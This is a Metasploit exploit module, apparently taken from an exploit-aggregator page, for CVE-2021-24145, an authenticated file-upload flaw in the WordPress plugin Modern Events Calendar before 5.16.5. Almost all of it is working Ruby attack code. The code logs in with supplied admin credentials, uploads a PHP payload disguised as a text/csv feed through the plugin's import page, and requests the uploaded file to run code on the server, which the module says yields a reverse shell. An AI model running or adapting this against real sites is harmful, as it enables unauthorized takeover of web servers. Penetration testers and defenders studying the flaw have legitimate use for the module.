Share
## https://sploitus.com/exploit?id=PACKETSTORM:163672
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::CmdStager  
include Msf::Exploit::Remote::HTTP::Wordpress  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Wordpress Plugin Modern Events Calendar - Authenticated Remote Code Execution',  
'Description' => %q{  
This module allows an attacker with a privileged Wordpress account to launch a reverse shell  
due to an arbitrary file upload vulnerability in Wordpress plugin Modern Events Calendar < 5.16.5.  
This is due to an incorrect check of the uploaded file extension.  
Indeed, by using `text/csv` content-type in a request, it is possible to upload a .php payload as is is not forbidden by the plugin.  
Finally, the uploaded payload can be triggered by a call to `/wp-content/uploads/<random_payload_name>.php`  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Nguyen Van Khanh', # Original PoC and discovery  
'Ron Jost', # Exploit-db  
'Yann Castel (yann.castel[at]orange.com)' # Metasploit module  
],  
'References' =>  
[  
['EDB', '50115'],  
['CVE', '2021-24145'],  
['CWE', '434']  
],  
'Platform' => [ 'php' ],  
'Arch' => ARCH_PHP,  
'Targets' =>  
[  
[ 'Wordpress Modern Events Calendar < 5.16.5', {}]  
],  
'Privileged' => false,  
'DisclosureDate' => '2021-01-29',  
'Notes' =>  
{  
'Stability' => [ CRASH_SAFE ],  
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],  
'Reliability' => [ REPEATABLE_SESSION ]  
}  
)  
)  
  
register_options [  
OptString.new('USERNAME', [true, 'Username of the admin account', 'admin']),  
OptString.new('PASSWORD', [true, 'Password of the admin account', 'admin']),  
OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '/'])  
]  
end  
  
def check  
unless wordpress_and_online?  
return CheckCode::Safe('Server not online or not detected as Wordpress')  
end  
  
cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])  
if cookie  
check_plugin_version_from_readme('modern-events-calendar-lite', '5.16.5')  
else  
CheckCode::Detected('The admin credentials given are wrong !')  
end  
end  
  
def exploit  
cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])  
fail_with(Failure::NoAccess, 'Authentication failed') unless cookie  
payload_name = "#{Rex::Text.rand_text_alpha_lower(5)}.php"  
  
post_data = Rex::MIME::Message.new  
post_data.add_part(payload.encoded, 'text/csv', nil, "form-data; name='feed'; filename='#{payload_name}'")  
post_data.add_part('import-start-bookings', nil, nil, "form-data; name='mec-ix-action'")  
  
print_status("Uploading file \'#{payload_name}\' containing the payload...")  
  
r = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'wp-admin/admin.php'),  
'headers' => {  
'Origin' => full_uri('')  
},  
'vars_get' => {  
'page' => 'MEC-ix',  
'tab' => 'MEC-import'  
},  
'cookie' => cookie,  
'data' => post_data.to_s,  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"  
)  
  
fail_with(Failure::UnexpectedReply, "Wasn't able to upload the payload file") unless r&.code == 200  
register_file_for_cleanup(payload_name)  
  
print_status('Triggering the payload ...')  
send_request_cgi(  
'method' => 'GET',  
'headers' => {  
'Origin' => full_uri('')  
},  
'cookie' => cookie,  
'uri' => normalize_uri(target_uri.path, "/wp-content/uploads/#{payload_name}")  
)  
end  
end